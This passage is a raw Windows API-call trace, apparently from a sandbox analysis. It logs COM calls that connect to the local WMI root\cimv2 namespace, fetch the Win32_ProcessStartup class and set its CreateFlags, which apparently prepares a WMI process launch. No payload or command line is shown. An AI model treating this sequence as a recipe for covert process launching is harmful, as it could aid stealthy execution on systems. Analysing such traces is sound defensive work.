WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0104.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0104.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0104.831] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0104.831] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0104.831] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0104.832] WbemLocator:IUnknown:Release (This=0x1b45d310) returned 0x2 [0104.832] WbemLocator:IUnknown:Release (This=0x1b45d310) returned 0x1 [0104.832] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0104.832] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0104.832] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d310, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b45d310) returned 0x0 [0104.832] WbemLocator:IUnknown:AddRef (This=0x1b45d310) returned 0x3 [0104.832] WbemLocator:IUnknown:Release (This=0x1b45d310) returned 0x2 [0104.832] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656b70, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0104.832] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0104.832] WbemDefPath:IWbemPath:GetText (in: This=0x656b70, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0104.832] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b45d2d0) returned 0x0 [0104.832] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b45d2d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x63c8f0) returned 0x0 [0105.415] WbemLocator:IUnknown:QueryInterface (in: This=0x63c8f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b463e20) returned 0x0 [0105.415] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b463e20, pProxy=0x63c8f0, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0105.415] WbemLocator:IUnknown:Release (This=0x1b463e20) returned 0x1 [0105.415] WbemLocator:IUnknown:QueryInterface (in: This=0x63c8f0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b463e68) returned 0x0 [0105.415] WbemLocator:IUnknown:QueryInterface (in: This=0x63c8f0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b463e20) returned 0x0 [0105.415] WbemLocator:IClientSecurity:SetBlanket (This=0x1b463e20, pProxy=0x63c8f0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0105.415] WbemLocator:IUnknown:Release (This=0x1b463e20) returned 0x2 [0105.415] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x1 [0105.415] CoTaskMemFree (pv=0x1b461580) [0105.416] WbemLocator:IUnknown:Release (This=0x1b45d2d0) returned 0x0 [0105.416] WbemLocator:IUnknown:QueryInterface (in: This=0x63c8f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b463e68) returned 0x0 [0105.416] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0105.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0105.449] WbemLocator:IUnknown:QueryInterface (in: This=0x63c8f0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0105.470] WbemLocator:IUnknown:AddRef (This=0x1b463e68) returned 0x3 [0105.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0105.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0105.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b463d48) returned 0x0 [0105.470] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b463d48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.470] WbemLocator:IUnknown:Release (This=0x1b463d48) returned 0x3 [0105.470] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0105.470] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0105.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b463e30) returned 0x0 [0105.470] WbemLocator:IRpcOptions:Query (in: This=0x1b463e30, pPrx=0x1b463e68, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0105.470] WbemLocator:IUnknown:Release (This=0x1b463e30) returned 0x3 [0105.470] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x2 [0105.470] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0105.470] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0105.470] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x63c8f0) returned 0x0 [0105.470] WbemLocator:IUnknown:AddRef (This=0x63c8f0) returned 0x4 [0105.470] WbemLocator:IUnknown:Release (This=0x63c8f0) returned 0x3 [0105.470] WbemLocator:IUnknown:Release (This=0x63c8f0) returned 0x2 [0105.470] SysStringLen (param_1=0x0) returned 0x0 [0105.470] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0105.471] WbemLocator:IUnknown:AddRef (This=0x1b463e68) returned 0x3 [0105.471] WbemLocator:IUnknown:QueryInterface (in: This=0x1b463e68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b463e68) returned 0x0 [0105.471] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x3 [0105.471] WbemLocator:IUnknown:Release (This=0x1b463e68) returned 0x2 [0105.471] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0105.471] WbemDefPath:IWbemPath:GetText (in: This=0x656ab0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0105.471] IWbemServices:GetObject (in: This=0x63c8f0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x643ae0, ppCallResult=0x0) returned 0x0 [0105.474] IWbemClassObject:Get (in: This=0x643ae0, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0105.474] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0105.474] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0105.474] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0105.474] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0105.474] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0105.474] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.475] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b45ce70) returned 0x0 [0105.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45ce70, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0105.475] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45ce70, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x6567b0) returned 0x0 [0105.475] WbemDefPath:IUnknown:Release (This=0x1b45ce70) returned 0x0 [0105.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x6567b0) returned 0x0 [0105.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0105.475] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0105.476] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0105.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0105.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0105.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b45d270) returned 0x0 [0105.476] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.476] WbemDefPath:IUnknown:Release (This=0x1b45d270) returned 0x3 [0105.476] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0105.476] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0105.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0105.476] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0105.476] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x1 [0105.476] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0105.476] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0105.476] WbemDefPath:IUnknown:QueryInterface (in: This=0x6567b0, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x6567b0) returned 0x0 [0105.476] WbemDefPath:IUnknown:AddRef (This=0x6567b0) returned 0x3 [0105.476] WbemDefPath:IUnknown:Release (This=0x6567b0) returned 0x2 [0105.476] WbemDefPath:IWbemPath:SetText (This=0x6567b0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0105.476] IWbemClassObject:Get (in: This=0x643ae0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29deda0*=0, plFlavor=0x29deda4*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29deda0*=19, plFlavor=0x29deda4*=0) returned 0x0 [0105.477] IWbemClassObject:Get (in: This=0x643ae0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29deda0*=19, plFlavor=0x29deda4*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29deda0*=19, plFlavor=0x29deda4*=0) returned 0x0 [0105.477] IWbemClassObject:Put (This=0x643ae0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0105.477] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655a30, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0105.477] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0105.477] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0105.477] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0105.477] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0105.477] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0105.477] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0105.477] IUnknown:Release (This=0x6124e8) returned 0x1 [0105.478] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b45ce30) returned 0x0 [0105.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45ce30, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0105.478] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45ce30, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x656db0) returned 0x0 [0105.478] WbemDefPath:IUnknown:Release (This=0x1b45ce30) returned 0x0 [0105.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x656db0) returned 0x0 [0105.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0105.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0105.478] WbemDefPath:IUnknown:AddRef (This=0x656db0) returned 0x3 [0105.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0105.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0105.478] WbemDefPath:IUnknown:QueryInterface (in: This=0x656db0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b45d0b0) returned 0x0 [0105.479] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d0b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0105.479] WbemDefPath:IUnknown:Release (This=0x1b45d0b0) returned 0x3 [0105.479] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 